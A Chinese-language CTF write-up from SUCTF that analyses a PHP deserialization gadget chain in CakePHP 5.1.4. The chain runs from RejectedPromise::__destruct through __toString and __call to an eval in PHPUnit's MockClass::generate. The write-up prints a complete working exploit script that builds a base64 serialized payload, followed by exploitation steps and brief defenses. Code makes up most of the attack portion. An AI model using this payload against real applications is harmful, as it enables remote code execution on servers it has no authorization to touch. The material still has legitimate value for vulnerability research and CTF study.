CakePHP 反序列化漏洞分析教学文档
漏洞概述
本文档详细分析CakePHP 5.1.4版本中的反序列化漏洞,包括漏洞原理、利用链构造和EXP编写方法。
漏洞背景
在SUCTF比赛中考察了CakePHP的反序列化漏洞,由于以前版本的利用链在5.1.4版本中失效,需要重新挖掘新的利用链。
漏洞分析
1. 反序列化入口点(Source点)
在CakePHP 5.1.4中,传统的利用链入口vendor\symfony\process\Process类的__destruct方法不再可用,因为:
- 该类添加了
__wakeup魔术方法 __wakeup会在__destruct前执行并抛出异常- PHP 8.1+版本目前没有绕过
__wakeup的有效方法
新的入口点选择在src\Internal\RejectedPromise类的__destruct方法:
// src/Internal/RejectedPromise.php
public function __destruct() {
if ($this->reason instanceof \Throwable) {
throw $this->reason;
}
// 存在字符串拼接操作,$reason可控
throw new \RuntimeException($this->reason);
}
2. 利用链构造
2.1 触发__toString
通过RejectedPromise的__destruct方法中的字符串拼接操作,可以触发任意对象的__toString魔术方法。
2.2 选择__toString目标
选择src\Ast\Type\ConstTypeNode类的__toString方法:
// src/Ast/Type/ConstTypeNode.php
public function __toString(): string {
return (string) $this->constExpr; // 可以触发任意对象的__toString
}
2.3 触发__call
将$constExpr赋值为src\ORM\Table对象,该对象没有__toString方法,会触发其__call方法:
// src/ORM/Table.php
public function __call(string $method, array $args) {
return $this->_behaviors->call($method, $args);
}
2.4 调用任意方法
Table类的__call方法会调用BehaviorRegistry的call方法:
// src/ORM/BehaviorRegistry.php
public function call(string $method, array $args = []) {
$behavior = $this->_methodMap[$method][0] ?? null;
$callMethod = $this->_methodMap[$method][1] ?? $method;
if ($behavior && $this->has($behavior)) {
return $this->_loaded[$behavior]->{$callMethod}(...$args);
}
}
通过控制$_methodMap和$_loaded属性,可以实现任意方法调用。
3. 最终利用点(Sink点)
选择src\Framework\MockObject\Generator\MockClass类的generate方法作为最终利用点:
// src/Framework/MockObject/Generator/MockClass.php
public function generate(): string {
if (!class_exists($this->mockName)) {
eval($this->classCode);
}
return $this->mockName;
}
该方法可以通过eval执行任意PHP代码,且不需要参数。
EXP构造
完整的EXP构造如下:
<?php
namespace PHPUnit\Framework\MockObject\Generator;
final class MockClass {
public $mockName;
public $classCode;
public function __construct() {
$this->mockName = "MockClass";
$this->classCode = "phpinfo();"; // 要执行的恶意代码
}
}
namespace Cake\Core;
abstract class ObjectRegistry {
public $_loaded = [];
}
namespace Cake\ORM;
use Cake\Core\ObjectRegistry;
use PHPUnit\Framework\MockObject\Generator\MockClass;
class BehaviorRegistry extends ObjectRegistry {
public $_methodMap = [];
public function count(): int {}
}
class Table {
public BehaviorRegistry $_behaviors;
public function __construct(){
$a = new MockClass();
$this->_behaviors = new BehaviorRegistry();
$this->_behaviors->_methodMap = ["__tostring" => ["MockClass", "generate"]];
$this->_behaviors->_loaded = ["MockClass" => $a];
}
}
namespace React\Promise\Internal;
final class RejectedPromise {
public $reason;
}
namespace PHPStan\PhpDocParser\Ast;
interface Node {};
namespace PHPStan\PhpDocParser\Ast\Type;
use PHPStan\PhpDocParser\Ast\Node;
interface TypeNode extends Node {}
namespace PHPStan\PhpDocParser\Ast\Type;
use Cake\ORM\Table;
use React\Promise\Internal\RejectedPromise;
class ConstTypeNode {
public $constExpr;
}
$pop = new RejectedPromise();
$pop->reason = new ConstTypeNode();
$pop->reason->constExpr = new Table();
echo base64_encode(serialize($pop));
利用步骤
- 构造恶意序列化数据
- 将数据传递给存在反序列化漏洞的CakePHP应用
- 触发反序列化操作
- 执行恶意代码
防御措施
- 避免反序列化用户可控的数据
- 及时更新CakePHP到最新版本
- 使用白名单验证反序列化数据
- 实施严格的输入过滤
总结
本漏洞利用链通过以下路径实现代码执行:
RejectedPromise::__destruct() → ConstTypeNode::__toString() → Table::__call() → BehaviorRegistry::call() → MockClass::generate() → eval()
通过精心构造的利用链,最终实现了任意代码执行。